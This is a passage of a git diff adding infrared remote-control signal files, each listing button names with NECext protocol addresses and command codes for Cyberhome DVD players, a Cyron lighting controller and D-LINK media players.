72 CD 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1E 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 40 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 4D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 50 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 54 00 00 00 +# +name: BOOKMARK +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 55 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 58 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 59 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: FOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir new file mode 100644 index 000000000..cad010ee8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 02 00 00 00 +# +name: KEY_MEDIA_REPEAT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 06 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: KEY_GOTO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: KEY_PROGRAM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 16 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 18 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 19 00 00 00 +# +name: KEY_EJECTCLOSECD +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 40 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 4D 00 00 00 +# +name: KEY_DISPLAYTOGGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 50 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 54 00 00 00 +# +name: KEY_BOOKMARKS +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 55 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 58 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 59 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir new file mode 100644 index 000000000..0f5248d44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 03 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 04 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 05 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 17 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 44 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 49 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 72 CD 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir b/assets/resources/infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir new file mode 100644 index 000000000..61e1312e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 AF 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir b/assets/resources/infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir new file mode 100644 index 000000000..c1d6d0927 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: GREEN_+ +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 00 00 00 00 +# +name: BLUE_+ +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 01 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 02 00 00 00 +# +name: GREEN_- +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 03 00 00 00 +# +name: BLUE_- +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 04 00 00 00 +# +name: WHITE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 05 00 00 00 +# +name: MEMORY_2 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 06 00 00 00 +# +name: MEMORY_3 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 07 00 00 00 +# +name: MEMORY_4 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 08 00 00 00 +# +name: MEMORY_6 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 09 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0A 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0B 00 00 00 +# +name: 100_% +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0D 00 00 00 +# +name: RED_+ +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0E 00 00 00 +# +name: MEMORY_1 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0F 00 00 00 +# +name: SLEEP_TIMER +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 10 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 11 00 00 00 +# +name: FAST_SPEED_(1_SEC) +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 13 00 00 00 +# +name: POWER:_OFF +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 14 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 15 00 00 00 +# +name: MEMORY_7 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 16 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 17 00 00 00 +# +name: SLOW_SPEED_(60_SEC) +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 18 00 00 00 +# +name: POWER:_ON +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 19 00 00 00 +# +name: MEMORY_5 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1A 00 00 00 +# +name: 25% +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1B 00 00 00 +# +name: MEDIUM_SPEED_(5_SEC) +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1C 00 00 00 +# +name: 75% +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1D 00 00 00 +# +name: 50% +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1E 00 00 00 +# +name: RED_- +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir b/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir new file mode 100644 index 000000000..7858c84ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 00 00 00 00 +# +name: ESC +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 0A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 0B 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 0C 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 0E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 0F 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 10 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 11 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 12 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 13 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 14 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 15 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 16 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 18 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 19 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 1B 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 1C 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 1D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 1E 00 00 00 +# +name: TAG +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 1F 00 00 00 +# +name: JUMP_UP +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 40 00 00 00 +# +name: JUMP_DOWN +type: parsed +protocol: NECext +address: 12 25 00 00 +command: 41 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir new file mode 100644 index 000000000..dad866aac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: ON_LINE_MEDIA +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1B 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 42 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 43 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 46 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 49 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4A 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4D 00 00 00 +# +name: VIDEO_OUT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: NEXT_>> +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: AUDIO_OUT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: PREV_<< +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir new file mode 100644 index 000000000..b3d7a8b08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: PAGE_-- +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: ONLINE_MEDIA +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 17 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1B 00 00 00 +# +name: VOL_-- +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 42 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 43 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 45 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 46 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 49 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4A 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4D 00 00 00 +# +name: DOT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4E 00 00 00 +# +name: VIDEO_OUT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir new file mode 100644 index 000000000..d40c938af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: PAGE- +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 10 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 12 00 00 00 +# +name: ONLINE_MEDIA +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 14 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 16 00 00 00 +# +name: PHOTO +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 17 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 17 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 18 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 1D 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 1E 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 1F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 42 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 43 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 45 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 46 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 49 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 4A 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 4C 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 4D 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 4E 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 51 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 52 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 54 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 54 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 08 E7 00 00 +command: 56 00 00 00 +# +name: 